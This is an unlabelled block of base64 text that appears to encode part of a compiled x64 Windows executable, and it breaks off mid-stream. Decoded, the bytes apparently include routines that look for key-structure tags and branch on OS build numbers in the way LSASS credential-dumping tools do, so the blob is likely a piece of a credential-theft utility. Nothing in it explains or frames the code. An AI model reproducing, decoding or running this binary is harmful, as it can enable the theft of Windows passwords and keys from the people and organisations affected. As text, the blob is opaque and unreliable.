/TI2cJAABAAAzwEmLczBJi3s4SYvjQV9BXkFdQVxdw8xIiVwkCEiJdCQQVVdBVUFWQVdIjWwkwEiB7EABAABIg2QkQABIjQVdkAUASINkJGAASI2ViAAAAEiDZCRoAEiNDfPhBACDZCRwAA9XwEiDZCR4ADP2IbWAAAAASIlEJDBIjUQkcEiJRCQ48w9/RCRQ8w9/RCQg6M2C/v+FwA+EWgMAAESLhYgAAAAz0rkYBAAA/xV5MgIATIv4SIXAD4QkAwAAjV5Ai8uNVhD/Fd8xAgBIiUQkKESNdgFIhcB0GUyNRCQoSYvXQYvO6LFw/v+LyEiLRCQo6wIzyYXJD4TaAgAARTPASI1V8EiLyOgnif7/hcAPhK0CAABIi0UASI1UJEhIjUwkIEiJRCQg6BOK/v+FwA+EhAIAAEiLRCQoTI1EJFBMi2wkSEiNTCQwSIlEJFi6DgAAAEmLRTBIiUQkUEGLRVBIiUQkYOi+c/7/hcAPhDACAABIi0QkaEiNVCQgSIPA60iNTCQwSIlEJCBBuAQAAABIjYWAAAAASIlEJDDoT3H+/4XAD4TwAQAASItEJCBIjVQkIEhjjYAAAABIg8AFSAPIQbgIAAAASIlMJCBIjUQkQEiNTCQwSIlEJDDoEHH+/4XAD4SoAQAASItEJEBIjVQkIEiJRCQgSI1MJDBIjUUQQbgoAAAASIlEJDDo4HD+/4XAD4RvAQAASItFKEiNVCQgSIlEJCBIjUwkMEiNRYBBuGgAAABIiUQkMOixcP7/hcAPhDcBAABEi02ISI0NIuAEAESLRZCLVYzoRnr+/4tVjIvLSMHiA/8VPzACAEiL+EiFwHRKi02MM9tBi/aFyXRRhfYPhMQAAACLVZC5QAAAAP8VFTACAEiJBN9IhcB0BUEj9usOi9NIjQ0W4AQA6PF5/v+LTYxBA9472XLE6w9IjQ1u4AQA6Nl5/v+LTYyF9nR7SItV0EWLzkiLTCQoTIvH6D4BAABIi1XYRTPJSItMJChMi8foKgEAAItNjDPbhcl0SkiNDQLUAwDolXn+/zP2OXWQdiFIiwTfSI0Na+AEAA++FAboenn+///GO3WQcuVBvgEAAABIjQ3+dwMA6GF5/v+LTYxBA9472XK2SIX/dFwz24XJdBtIgzzfAHQNSIsM3/8VUy8CAItNjEED3jvZcuVIi8//FUAvAgDrMEiNDQ/gBADrIkiNDWbgBADrGUiNDb3gBADrEEiNDRThBADrB0iNDWvhBADo9nj+/0mLzf8VBS8CAOsVSI0NtOEEAOsHSI0NK+IEAOjWeP7/SItMJCjonG7+/0mLz/8VEy8CAOsi/xX7LgIAi9BIjQ1y4gQA6K14/v/rDEiNDdTiBADon3j+/0yNnCRAAQAAM8BJi1swSYtzOEmL40FfQV5BXV9dw8xIi8RIiVgISIlwEEiJeBhMiWAgVUFWQVdIjWihSIHskAAAAEGLwUiJVef32EiJTe9IjUUnTYv4RRv2SIlF14Nl9wBIjUX3SINl/wBIjVXnQYPmA0iJRd9BuCAAAABIjU3XQf/GRYvh6GBu/v+FwA+ETAEAAItVJ7lAAAAASMHiA/8VAi4CAEiL+EiFwA+EOgEAAEiLTTdIjVXnRItFJ0iJTedIjU3XScHgA0iJRdfoGW7+/4XAD4TuAAAAM9s5XScPhu8AAABIjUUHQbggAAAASIlF10iNVedIiwTfSI1N10iJRefo423+/4XAD4SdAAAAi1UHuUAAAABBD6/W/xWFLQIASIlF10iFwA+EjAAAAESLRQdIjVXnSItFF0iNTddFD6/GSIlF5+ifbf7/hcB0Q0UzwEQ5RQd2SEiLRddFheR0F0KLFIBIjQUSawMAS4sMx4oEAogEC+sPQYA8AAB0CEuLBMfGBAMqQf/ARDtFB3LI6w6L00iNDbPhBADo/nb+/0iLTdf/FQwtAgDrDovTSI0NSeIEAOjkdv7//8M7XScPgh/////rDEiNDeDiBADoy3b+/0iLz/8V2iwCAOsMSI0NWeMEAOi0dv7/TI2cJJAAAABJi1sgSYtzKEmLezBNi2M4SYvjQV9BXl3DzMzMSIl8JAhVSI1sJKlIgeyQAAAAM/9IjUUHSIlF50iNRfdIiUXviwVaeQUAiX33SIl9/4XAD4nHAQAASDk9CLEFAHUdSI0Nf+MEAP8VCSwCAEiJBfKwBQBIhcAPhJsBAABMjUU3SI0VzmsEAEiNTffoQYP+/4XAD4R/AQAASDk9zrAFAA8QRTeLRUdIiUUn8w9/RRcPhYIAAABIiw2psAUASI0VMuMEAP8VpCsCAEiJRQ9IhcB0VUiLDYywBQBIjRUt4wQA/xWHKwIASIlFB0iFwHQ4TI1FF7oQAAAASI1N5+gwbv7/hcB0IkiLTS9Ii4HYAAAASIkFXrAFAEiLgeAAAABIiQVIsAUA6wdIiwU/sAUASIXAD4TgAAAASI0Ff4kFALoKAAAATI1FF0iJRedIjU3n6N1t/v+FwA+EuwAAAEiLTS9IY0G9SI1RwUgD0EyNUfNIY0HvTI1J4UwD0EiJFTSxBQBIY0HdTI1B7EwDyEyJFRqxBQBIY0HoTAPATIkNHLEFAEyJBR2xBQBIhdJ0ak2F0nRlTYXJdGBNhcB0W7oAAQAAuUAAAABBiRD/FeYqAgBIi9BIiwXUsAUASIkQupAAAACNSrD/FcsqAgBIi8hIiwXJsAUASIkISIsFr7AFAEg5OHQUiwWYdwUASIXJD0XHiQWMdwUA6waLBYR3BQBIi7wkoAAAAEiBxJAAAABdw8zMzEiD7ChIiw1xsAUASIXJdAlIiwn/FXsqAgBIiw1ssAUASIXJdAlIiwn/FWYqAgBIiw3/rgUASIXJdAb/FfQpAgAzwEiDxCjDzEiJXCQQSIl8JBhVSIvsSIPscEyLAUiNBSiIBQAz/0iJRcBIjUXQTIlFuEiJRchIjU3ASIsCuyUCAMBIiUXgi0IQjVcKTIlF6EyNReBIiUXwiX3QSIl92EiJfbBIiX346FRs/v+FwA+EswAAAEiLRfhEjUcESIPAvUiNVbBIiUWwSI1NwEiNRRBIiUXA6O9p/v+FwA+EhgAAAEiLRfhEjUcISGNNEEiNVbBIg8DBSAPISIsFha8FAEiJTbBIjU3ASIlFwOi4af7/hcB0U0iLRfhIjU2wSIsVaa8FAEiDwN1IiUWwQbiQAAAASIsS6EMAAACFwHQqSItF+EiNTbBIixUwrwUASIPA70iJRbBBuAABAABIixLoGgAAAIXAD0XfTI1cJHCLw0mLWxhJi3sgSYvjXcPMSIlcJBBIiXQkGFVXQVZIi+xIg+xAM9tIjUXwTIvySIlF6EmL8Ild8EiL+UiJXfhIjUUgSIvRRI1DBEiJReBIjU3g6AVp/v+FwHQ4SGNFIESNQwhIg8AESIl94EgBB0iNTeBIi9fo4mj+/4XAdBVMi8ZMiXXgSIvXSI1N4OjLaP7/i9hIi3QkcIvDSItcJGhIg8RAQV5fXcNIg+wogz1hgAUAAA+NaAEAAEiDPTetBQAAD4X9AAAASI0Nwt8EAP8VBCgCAEiJBR2tBQBIhcAPhD0BAABIjRW13wQASIvI/xXcJwIASIsN/awFAEiNFb7fBABIiQX3rAUA/xXBJwIASIsN4qwFAEiNFbvfBABIiQW8rAUA/xWmJwIASIsNx6wFAEiNFbjfBABIiQXhrAUA/xWLJwIASIsNrKwFAEiNFb3fBABIiQW+rAUA/xVwJwIASIsNkawFAEiNFbLfBABIiQWTrAUA/xVVJwIASIsNdqwFAEiNFaffBABIiQWArAUA/xU6JwIASIsNW6wFAEiNFaTfBABIiQU9rAUA/xUfJwIASIM9P6wFAABIiQUwrAUAdQnrXUiLBSWsBQBIgz0trAUAAHRMSIM9A6wFAAB0QkiDPTmsBQAAdDhIgz0nrAUAAHQuSIM9DawFAAB0JEiDPQusBQAAdBpIgz3ZqwUAAHQQSIXAdAvopQAAAIkF834FAIsF7X4FAEiDxCjDSIPsKEiLDcGrBQBIhcl0fIM90X4FAAB8bUiLDaSsBQBIhcl0CDPS/xWXqwUASIsNmKwFAEiFyXQG/xV9qwUASIsNjqwFAP8VsCYCAEiLDVGsBQBIhcl0CDPS/xVkqwUASIsNRawFAEiFyXQG/xVKqwUASIsNO6wFAP8VfSYCAEiLDUarBQD/FRAmAgAzwEiDxCjDzEBTSIPsMEUzyUiNFZjeBABFM8BIjQ0WrAUA/xUgqwUAi9iFwA+IHAEAAEiLDf+rBQBMjQWA3gQAg2QkIABIjRWU3gQAQbkgAAAA/xXQqgUAi9iFwA+I7AAAAINkJCgASI1EJEBIiw3FqwUATI0F1qsFAEG5BAAAAEiJRCQgSI0VdN4EAP8V1qoFAIvYhcAPiLIAAACLFa6rBQC5QAAAAP8VsyUCAEUzyUiNFWneBABIjQ1aqwUASIkFg6sFAEUzwP8VeqoFAIvYhcB4ekiLDT2rBQBMjQVG3gQAg2QkIABIjRXy3QQAQbkgAAAA/xUuqgUAi9iFwHhOg2QkKABIjUQkQEiLDQerBQBMjQUYqwUAQbkEAAAASIlEJCBIjRXW3QQA/xU4qgUAi9iFwHgYixX0qgUAuUAAAAD/FRklAgBIiQXaqgUAi8NIg8QwW8PMzEG4AQAAAOkJAAAAzEUzwOkAAAAASIPsaEyLFeGpBQBFhcAPEAV3qgUATA9FFcepBQBMi9nzD39EJFD2wgd0DkiNDYKqBQC4EAAAAOsMSI0NlKoFALgIAAAAg2QkSABMjUQkeEiLCUUzyUyJRCRARIvCiVQkOEmL00yJXCQwiUQkKEiNRCRQSIlEJCBB/9JIg8Row8xIiVwkEEiJdCQYVVdBVkiL7EiD7HBMiwFIjUXQRTP2SIlFyEiLAkiL8UiJReC/JQIAwItCEEGL3otREEGLzkiJRfBIjQVTggUARIl10EyJddhMiXWwTIlFuEyJdcBMiUXoTIl1+DkQdxRIi9hIg8FQSIPAUEiB+UABAABy6EiF2w+EygAAAEiLQxBMjUXgi1MISI1NwEiJRcDoUmb+/4XAD4SqAAAASGNDKEiNVbBIA0X4SI1NwEiJRbBBuAQAAABIjUUgSIlFwOjrY/7/hcB0f0iLRbBIjVWwSGNNIEiDwARIA8hBuBAAAABIiU2wSI0FF6kFAEiNTcBIiUXA6LZj/v+FwHRKSGNDLEyNBTupBQBIA0X4SI1WCEiNTbBIiUWw6EIAAACFwHQmSGNLMEyNBfeoBQBIA034SI1WCEiJTbBIjU2w6B4AAACFwEEPRf5MjVwkcIvHSYtbKEmLczBJi+NBXl9dw8xIiVwkEEiJdCQYVVdBVEFWQVdIi+xIgeyAAAAAM9tIiU3AgXoIQB8AAEiNRdBNi+CJXdBIi/FIiV3YSIlFyHMKRI1zIESNexjrH4F6CLgkAABzDEG+MAAAAEWNfvjrCkG+QAAAAEWNfvhJi9a5QAAAAP8VlSICAEiL+EiFwA+EKAEAAEiNRTBBuAQAAABIi9ZIiUXASI1NwOizYv7/hcAPhP0AAABIY0UwSI1NwEiDwARIiXXASAEGQbgIAAAASIvW6Ipi/v+FwA+E1AAAAEiNReBBuCAAAABIi9ZIiUXASI1NwOhoYv7/hcAPhLIAAACBfeRSVVVVD4WlAAAASItF8EiNTcBNi8ZIiQZIi9ZIiX3A6Dli/v+FwA+EgwAAAIF/BEtTU011ek1j97lAAAAAQYsUPv8V0iECAEiJRcBIhcB0X0iLTfBIi9ZIg8EESQPOSIkOSI1NwEWLBD7o72H+/4XAdDNBiwQ+SY1UJAhFi0wkGE2LRCQQSYsMJIlcJDCJRCQoSItFwEiJRCQg/xV5pgUAhcAPmcNIi03A/xV6IQIASIvP/xVxIQIATI2cJIAAAACLw0mLWzhJi3NASYvjQV9BXkFcX13DzMzMSIlcJBBXSIPsIEiLDVemBQDoIp4AAEiLDTOmBQBIgyVDpgUAAEiFyXQvixGD6gF0DIP6AXQHSItcJDDrB0iLQQhIixjov2D+/0iLy0iJBf2lBQD/FS8hAgBIjR1YYQMAvwkAAABIiwsz0kiDwSBEjUIo6OFcAABIjVsISIPvAXXkSItcJDhIg8QgX8NIg+woSI0N2d4EAOicav7/6F////8zwEiDxCjDSIlcJAhXSIPsIIvZSIv6SI0N2t4EAOh1av7/g/sBdA5IjQ353gQA6GRq/v/rI+gl////SIsP6NGcAABIi9BIiQV7pQUASI0NDCUEAOg/av7/M8BIi1wkMEiDxCBfw8zMgz1JpgUABkiNDfJgAwBIjQUTYQMASA9CwUiJBailBQAzwMPMSIsFnaUFAEj/YAjMSIPsOEiNBXVgAwDHRCQoCQAAAEiNVCQgSIlEJCBIjQ0ABwAA6P8DAABIg8Q4w8zMSIlcJBBIiXQkGFdBVkFXSIPsQEUz/0w5PcukBQBBi99Bi/dBi/8PhUMDAABIiwU1pQUAuyUCAMD/EIXAD4ghAwAASIsVt6QFAEiF0nQ9SI0Nq94EAEWNdwLocmn+/0iLDZukBQBFjUcBTIl8JDBFM8lEiXwkKLoAAACAx0QkIAMAAAD/FXcfAgDrLUiNVCRgQb4BAAAASI0Nq44EAOjub/7/hcB0F0SLRCRgM9K5OgQAAP8VoB8CAEiL8OsMSI0NjN4EAOgHaf7/SI1G/0iD+P0Ph1YCAAC6EAAAAI1KMP8V8x4CAEiJBfyjBQBIhcB0FEyNBfCjBQBIi9ZBi87oxV3+/+sDQYvHhcAPhA8CAABBg/4CD4WhAAAASIsFx6MFAEGNVgVIi0gISIsJ6Gtm/v9Ii9BIhcB0aYtICESLBa2kBQCJDaejBQCLQAyJBaKjBQCLQhCJBZ2jBQBBO8h0H0GD+AZyBYP5BnMUi1IISI0NW94EAOhWaP7/6cYBAABBuAkAAABmRDkCQA+Vx4X/dFYPtxJIjQ0V3wQA6DBo/v/rEUiNDfffBAC/AQAAAOgdaP7/iw03owUA6ySLBUekBQCLDSmkBQCJBSejBQCLBSGkBQCJBR+jBQCJDRGjBQCF/w+FXgEAAIE9B6MFAEAfAABBi8cPk8CJBZOMBQCD+QZzEIM966IFAAJEiT3gjgUAcwrHBdSOBQABAAAASIsNxaIFAEiNFV4BAABFM8Dopm7+/4XAD4jcAAAARDk9z4wFAA+EzwAAAA8oDbKMBQBIjRWzogUAgT2ZogUAzg4AALnD////DygFhYwFAEkPQtdMiXwkOA8pDWWJBQBEjUEHZg9z2QRmD37IRY1IPA8pBT2JBQDyDxAFdYwFAD0AAEhTTIl8JDBIiVQkKEiNBV+iBQBBD0fI8g8RBTOJBQCJDcmFBQBMjQVWhAUASI0NF6IFAEiJRCQgSI0VE4wFAOjiHgAAhcB0J0iLBXuiBQBIjRX8iwUASI0N7aEFAP9QEIvYhcB5a0iNDTXfBADrGUiNDYzfBADrEEiNDePfBADrB0iNDVrgBADopWb+/+sU/xXdHAIAi9BIjQ204AQA6I9m/v+F23kqSIsNnKEFAOhPXP7/SIvOSIkFjaEFAP8VvxwCAOsMSI0NBuEEAOhhZv7/SIt0JHCLw0iLXCRoSIPEQEFfQV5fw8zMzEiJXCQISIl0JBBXSIPsIEiL8UiNHa9cAwC/CQAAAEiLVhhIiwtIi1IISItJGOgemQAAhcB1HEiLA8dAQAEAAABIiwsPEAYPEUEgDxBOEA8RSTBIg8MISIPvAXXCSItcJDCNRwFIi3QkOEiDxCBfw8xIiVwkCEiJdCQQVVdBVEFWQVdIjWwkyUiB7MAAAACDZccASI1Fd0iDZc8ATIvhSINltwC5AQAAAEiJRZdMi/pIjUXHiU13SIlFn0SL8UiNRcdIiUW/6K77//+L8IXAD4h4AgAASI0FhaAFAEiJRddIiwX6oAUASIlF34sFgKAFAD24CwAAcwlIjR1qXAMA60c9iBMAAHMJSI0dilwDAOs3PVgbAABzCUiNHapcAwDrJz1AHwAAcwlIjR3KXAMA6xc9uCQAAEiNHRxdAwBIjQ1FXQMASA9D2QWo5P//PV8JAAB3EIE9H4oFAAAASFN2BEiDwzBIiwX2nwUASIlFr0iLBQugBQBIiUWnSIXAdBNBuAQAAABIjVWnSI1Nl+gDW/7/M/85fXcPhrABAABIixO5QAAAAIvHSMHgBEgDBdefBQBIiUWnSI1Ff0iJRZdIjUXHSIlFn/8VhRoCAEiJRbdIhcAPhGkBAABBuAgAAABIjVWnSI1Nl+ipWv7/hcAPhEQBAABIi0WvSItNf0iJRZ/pJQEAAEWF9g+EKgEAAEyLA0iNVZdIjU236Hda/v+FwA+EEgEAAEyLRbeLQwhJA8BIiUXni0MMQosMAItDEIlN/0KLDACLQxhJA8CJTQOLSxRIiUX3SQPIi0McSIlN70qLFACLQyBIiVUHSosUAItDJEiJVQ9KixQAi0MoSIlVF0qLFACLQyxJA8BIiVUfSIsVzJ4FAEiJRSfok57+/0iLFbyeBQBIi0336IOe/v9IixWsngUASItNJ+hznv7/SIsVnJ4FAEiNTQ/o457+/0mL10iNTddB/9RIi03vRIvwSItJCEiFyXQG/xVzGQIASItN90iLSQhIhcl0Bv8VYBkCAEiLRSdIi0gISIXJdAb/FU0ZAgBIi00PSIXJdAb/FT4ZAgBIi0W3SIsISIlNl0g7TacPhc3+//9Ii023/xUfGQIA/8c7fXcPglD+//9MjZwkwAAAAIvGSYtbMEmLczhJi+NBX0FeQVxfXcPMzEiJXCQISIlsJBBIiXQkGFdIg+wgg3koA0iL+kiL8XRZ6G8AAAAz2zlfCHZNSIsHSIsU2IN6QAB0OUiNBRxZAwBIiwTYg3gQAHQoSIsSSI0NqN0EAOiDYv7/SIsPSIsU2UiLzv9SCEiNDQdhAwDoamL+///DO18IcrNIi1wkMLgBAAAASItsJDhIi3QkQEiDxCBfw8xMi9xTSIPsUEiLQRBIi9lEi0koSI0NPlgDAESLAItQBEiLQ1BJiUPwSItDIEmJQ+hIi0MYSYlD4ItDLIlEJDBKiwTJRIvKSYlD0EiNDbfeBABFiUPI6O5h/v9IjQ3P3wQA6OJh/v9IjUtI6CGh/v9IjQ1qYAMA6M1h/v9IjQ3e3wQA6MFh/v9Ii0s4SIXJdAXoV6H+/0iNDURgAwBIg8RQW+miYf7/zMxIiVwkCFVIi+xIgeyAAAAA6Lv3//+DZSAAi9iDZeAASI1F0EiDZegAD1fASINlwABIiw2BnAUASIlF8EiNReBIiUX4SIlNyPMPf0XQhdsPiK0AAACDPbV9BQAAD4SUAAAASI1FIEG5BQAAAEiJRCQ4TI0F2XgFAEiDZCQwAEiNRcBIg2QkKABIjRVifQUASI0NI5wFAEiJRCQg6PUYAACFwHRJSItFwEiNVcBIY00gQbgQAAAASI0MyEiJTcBIjU3w6CZX/v+FwHQ3SItN0EiNFYtABADoOgAAAEiLTdhIjRUD3wQA6CoAAADrFUiNDQ3fBADrB0iNDaTfBADon2D+/4vDSIucJJAAAABIgcSAAAAAXcNIi8RIiVgISIlwEEiJeBhVSI1ooUiB7PAAAABIiwWCmwUAg2WnAEiDZa8ASIlFn0iNRbdIiUWHSI1Fp0iJRY9IiU2XSIXJD4QrAgAASI0Nud8EAOg0YP7/gz1NmwUABkiNVZdIjU2HD4MAAQAASI1FF0G4GAAAAEiJRYfoWFb+/4XAD4TvAQAAi0Ub/8iNDICNDM1AAAAAi/mL0blAAAAA/xXuFQIASIvYSIXAD4TFAQAARIvHSIlFh0iNVZdIjU2H6BJW/v+FwA+EoAEAAItTBEiNDVTfBADor1/+/zP/OXsED4aGAQAASI00v4tM8yjoOwb//0iL0EiNDU3fBADoiF/+/0iLRPM4uUAAAABIiUWXi1TzMP8VeBUCAEiJRYdIhcB0MESLRPMwSI1Vl0iNTYfooVX+/4XAdBCLVPMwRTPASItNh+gxnf7/SItNh/8VTxUCAEiNDchdAwDoK1/+///HO3sEcoDpAQEAAEiNRbdBuCgAAABIiUWH6FhV/v+FwA+E7wAAAItFu//IjQxAweEEg8FYi/mL0blAAAAA/xXvFAIASIvYSIXAD4TGAAAARIvHSIlFh0iNVZdIjU2H6BNV/v+FwA+EoQAAAItTBEiNDVXeBADosF7+/zP/OXsED4aHAAAASI00f0gD9otM80DoOQX//0iL0EiNDUveBADohl7+/0iLRPNQuUAAAABIiUWXi1TzSP8VdhQCAEiJRYdIhcB0MESLRPNISI1Vl0iNTYfon1T+/4XAdBCLVPNIRTPASItNh+gvnP7/SItNh/8VTRQCAEiNDcZcAwDoKV7+///HO3sED4J5////SIvL/xUtFAIATI2cJPAAAABJi1sQSYtzGEmLeyBJi+Ndw0iJXCQIVVZXSI1sJLlIgeywAAAA6BP0//+DZQcASI0duH8FAEiDZQ8Ai/hIg2XXAEiNRQdIg2XnAIE94ZgFAEAfAABIiw3KmAUASIlF70iNBTd/BQBID0PYSIlN30iDZX8ASINl9wBIg2X/AIX/D4h0AQAAg3tAAA+EXgEAAEiDZCQ4AEiNRf9AinNESI1TIEiJRCQwTI0FoHYFAEiNRfdBuQUAAABIiUQkKEiNDWKYBQBIjUV/SIlEJCDoMBUAAIXAD4QLAQAAQA+2xkiNVdeJQ0RIjU3nSI1Fd0G4BAAAAEiJRedIi0V/SIlF1+hWU/7/hcAPhO4AAACDfXcAD4TGAAAASI0NydwEAOjsXP7/SI1FF7sUAAAASIlF50iNVddIi0X3SI1N50SLw0iJRdfoE1P+/4XAD4SrAAAASI1FL0SLw0iJRedIjVXXSItF/0iNTedIiUXX6OtS/v+FwA+EgwAAAEiNDYjcBADoi1z+/0UzwEiNTReL0+htmv7/RTPASI1NL4vT6F+a/v9IjQ1w3AQA6GNc/v9FM8BIjU0Xi9PoRZr+/0iNDVZQBADoSVz+/0UzwEiNTS+L0+grmv7/SI0NzFoDAOsZSI0NS9wEAOsQSI0NstwEAOsHSI0NSd0EAOgUXP7/i8dIi5wk0AAAAEiBxLAAAABfXl3DzMzMSIlcJAhVSI1sJKBIgexgAQAA6BXy//+DZCRgAIvYSINkJGgASI2FgAAAAEiDZCRQAIE96ZYFALAdAABIiw3SlgUASIlEJEBIjUQkYEiJRCRISI1FgEiJRCRwSI1EJGBIiUQkeEiJTCRYD4LTAAAAhdsPiNcAAACDPe53BQAAD4S1AAAASINkJDgASI1EJFBIg2QkMABMjQXgdwUASINkJCgASI0Vo3cFAEG5AgAAAEiJRCQgSI0NWZYFAOgwEwAAhcB0bEG4CAAAAEiNVCRQSI1MJEDob1H+/4XAdHFIi42AAAAASIsFKZYFAEiJTCRASIlEJEhIO0wkUHRSQbjgAAAASI1UJEBIjUwkcOg3Uf7/hcB0OUiNTYDo5gEAAEiLRYBIiUQkQEg7RCRQdc7rHkiNDYXcBADrEEiNDfzcBADrB0iNDXPdBADorlr+/4vDSIucJHABAABIgcRgAQAAXcPMzMxMi9xJiVsISYlrEEmJcxhXSIPsUEiLBZWVBQAz/0iL2UmJQ/BIiwlJjUPYiXwkMEmL8UGL6EmJe+BJiUvoSYl7yEmJQ9A5ewh0BUiFyXUUZjl7EA+EMAEAAEg5exgPhCYBAABIjQ1W3QQA6Cla/v9IjQVi3QQAhe1IjQ1p3QQASIvWSA9FyOgNWv7/SIsVHpUFAEiNcxBIi87o4pT+/4XAdEVIjQ1P3QQA6OpZ/v9Ii87ocpT+/4XAdBFIi9ZIjQ1EWwMA6M9Z/v/rEg+3FkG4AQAAAEiLSxjoq5f+/0iLSxj/FckPAgBIjQ1CWAMA6KVZ/v85ewgPhI0AAABIOTsPhIQAAACLUwi5QAAAAP8VjQ8CAEiL8EiFwHRuRItDCEiNVCRASI1MJCBIiUQkIOixT/7/hcB0STl+CHZEi8dIjRxAi0yeDOjx//7/SIvQSI0Ns9wEAOg+Wf7/i0yeFEUzwItUnhBIA87oG5f+/0iNDbxXAwDoH1n+///HO34IcrxIi87/FScPAgBIi1wkYEiLbCRoSIt0JHBIg8RQX8PMzEiJXCQISIl0JBBXSIPsIEiLFfqTBQBIjXEQSIvZSIvO6LuT/v+FwA+E5QAAAEiLFdyTBQBIjUsg6KOT/v+FwA+EwwAAAEyNQyBIi9ZIjQ2VWwQA6KBY/v9IixWxkwUASI17WEiLz+j1k/7/hcB0HUiNDYpMBADofVj+/0iLD+gZmP7/SIsP/xWEDgIASI0N0foDAOhgWP7/SI1LYEyLzkUzwEiNFXdbBADosv3//78BAAAASI2LgAAAAESLx0iNFUxbBABMi87olP3//0iNi6AAAABMi85FM8BIjRVgWwQA6Hv9//9IjYvAAAAATIvORIvHSI0VN1sEAOhi/f//SItLKP8VCA4CAEiLSxj/Ff4NAgBIi1wkMEiLdCQ4SIPEIF/DzMxMi9xVSY1rqUiB7KAAAABJg2OQAEiLAYNlJwBIg2UvAEiDZRcASINlBwBIiUUfSI1FJ0iJRQ9IjUX/SYlDiEiNRfdJiUOASI1F70iJRCQg6HQPAACFwA+EAAEAAEiLRe9IiUUXSIXAD4T7AAAASI1FN0G4EAAAAEiNVRdIiUUHSI1NB+iYTf7/hcAPhNgAAABIjU036KuW/v9IjQ3MVQMA6C9X/v9Ii0X3SIlFF0iFwA+EsgAAAEiNRV9BuAQAAABIjVUXSIlFB0iNTQfoT03+/4XAD4SPAAAAg31fAA+EhQAAAEiLRf9IiUUXSIXAdHhIjUUXQbgIAAAASI1VF0iJRQdIjU0H6BVN/v+FwHRZi1VfuUAAAAD/Fb8MAgBIiUUHSIXAdEJEi0VfSI1VF0iNTQfo6Uz+/4XAdBVEi01/SI1NN0SLRV9Ii1UH6IR6//9Ii00H/xWSDAIA6wxIjQ0B2gQA6GxW/v9IgcSgAAAAXcPMzMxIiVwkCEiJdCQQV0iD7DBIi9qL+eh37P//SINkJCAATI0FwtsDAEUzyUiL04vPi/DoC5f+/4v4hfZ4eoE9Q5EFAEAfAABIjQXEdwUASI0dDXgFAEgPQ9iDeyAAdFhIjQ00XQQA6PdV/v9BuQQAAACJfCQgTI0FtnAFAEiL00iNDfSQBQDoA/7//0iNDRheBADoy1X+/0G5BQAAAIl8JCBMjQWqawUASIvTSI0NyJAFAOjX/f//SItcJECLxkiLdCRISIPEMF/DzEiJXCQIVVZXQVRBVUFWQVdIjWwk0EiB7DABAABFM+1IjUXYD1fASIlEJGBMjUwkUEyJbCR4TI0FVOADAESJbYDzD39EJGhMiWwkIEiL2ov56COW/v+FwA+EBQUAAEyNTCRYTIlsJCBMjQUy4AMASIvTi8/oAJb+/4XAD4TZBAAARTPJTIlsJCBMjQUh2QQASIvTi8/o35X+/0SL8IXAdAroezcBAEiLCOsHSI0NR3EEAEiJTCQgTI1NiIvPTI0FBdkEAEiL0+itlf7/TIt8JFhIjQ352AQATItkJFBIjQX12AQATItNiEWF9k2Lx0mL1EgPRcFIjQ3t2AQASIlEJCDok1T+/0yNTCRQTIlsJCBMjQW63wMASIvTi8/oWJX+/0iDzv+FwA+EigAAAIE9hpAFAFgbAAByckiLTCRQSIvGSP/AZkQ5LEF19kiD+CBFi81BD5TBRYXJdBFBuBAAAABIjVWw6BeR/v/rA0GLxYXAdC9IjUWwSI0N09gEAEiJRCR46BFU/v9Ii0wkeEUzwEGNUBDo8JH+/0iNDZFSAwDrEEiNDcDYBADrB0iNDUfZBADo4lP+/0yNTCRQTIlsJCBMjQUZ3wMASIvTi8/op5T+/4XAD4SKAAAAgT3ZjwUAWBsAAHJySItMJFBIi8ZI/8BmRDksQXX2SIP4QEWLzUEPlMFFhcl0EUG4IAAAAEiNVQjoapD+/+sDQYvFhcB0L0iNRQhIjQ2O2QQASIlEJHDoZFP+/0iLTCRwRTPAQY1QIOhDkf7/SI0N5FEDAOsQSI0Ng9kEAOsHSI0NCtoEAOg1U/7/TI1MJFhMiWwkIEyNBUTeAwBIi9OLz+j6k/7/hcB1H0yNTCRYTIlsJCBMjQWlagQASIvTi8/o25P+/4XAdHJIi0wkWEj/xmZEOSxxdfZIg/4gRYvNQQ+UwUWFyXQRQbgQAAAASI1VwOixj/7/6wNBi8WFwHQvSI1FwEiNDUXaBABIiUQkaOirUv7/SItMJGhFM8BBjVAQ6IqQ/v9IjQ0rUQMA6wdIjQ0q2gQA6IVS/v9MOWwkaHUaTDlsJHh1E0w5bCRwdQxIjQ353QQA6TUCAABIi1WISI1FmESJbCRIuwIAAABIiUQkQIvLSI0F9E4DAEiJRCQ4TIl8JDBEjUMCTIlkJCiJXCQg6ABj/v+FwA+EywEAAESLRaxIjQ1N2gQAi1Wo6A1S/v9Ii02YTI2FiAAAAEGLxvfYG9Ij04HKCAACAP8VJQQCAIXAD4RmAQAASIuNiAAAAEiNhYAAAABEjUs2SIlEJCBMjUXQjVMI/xXpAwIAhcAPhBcBAACLVdxIjQ0f2gQARItF2ESLykSJRCQg6J5R/v9IjQ1H2gQA6JJR/v9IjVQkYEiNDVIpAADoqev//0iNDRJQAwDodVH+/0iNDUbaBADoaVH+/0iNVCRgSI0NDRwAAOiA6///SI0N6U8DAOhMUf7/RDltgA+EjwAAAEWF9nR+SIuNiAAAAEiNRZBIiUQkKESNSwFFM8CJXCQgjVMK/xUJBAIAhcB0PkiLVZAzyf8VCQQCAIXAdA5IjQ3+2QQA6PlQ/v/rFP8VMQcCAIvQSI0NKNoEAOjjUP7/SItNkP8VKQcCAOsU/xURBwIAi9BIjQ142gQA6MNQ/v8z0usRSItNmP8VXQoCAOsluhUAAEBIi02Y/xVcCgIA6xT/FdwGAgCL0EiNDbPaBADojlD+/0iLjYgAAAD/FdEGAgDrFP8VuQYCAIvQSI0NENsEAOhrUP7/SItNoP8VsQYCAEiLTZj/FacGAgDrK/8VjwYCAIvQSI0NVtsEAOhBUP7/6xVIjQ2I3AQA6wdIjQ3v3AQA6CpQ/v8zwEiLnCRwAQAASIHEMAEAAEFfQV5BXUFcX15dw8xIiVwkEFVWV0FUQVVBVkFXSIvsSIPsQEUz5EGL8EyJZUBIi8JIi9lFi+xFi/xBi/xIhckPhNEFAABIi0g4SI1VQP8V1QECAA+65hsPg78CAABIi0sIi/6B5wAAAAdIhckPhIEFAAAPuuYcchFIiwUxiwUAD7cTTItAIEH/EIH/AAAAAQ+EmwEAAIH/AAAAAg+EhwAAAIH/AAAAA3QjSI0NuN0EAOhjT/7/D7cTQbgBAAAASItLCOhBjf7/6ScFAABIi3sIQYvci1cUjUL/TI1IBU6NDEhOjQyPTIlNWIXSD4QCBQAAi8NIjQxFBwAAAEgDyEiNDI9Ihcl0FUyLRUBIjVVYSYPBBOgkBQAATItNWP/DO18Ucs7pywQAAEiLWwhIjVMQSItCCEiFwHQHSAPDSIlCCEiLQwhIhcB0B0gDw0i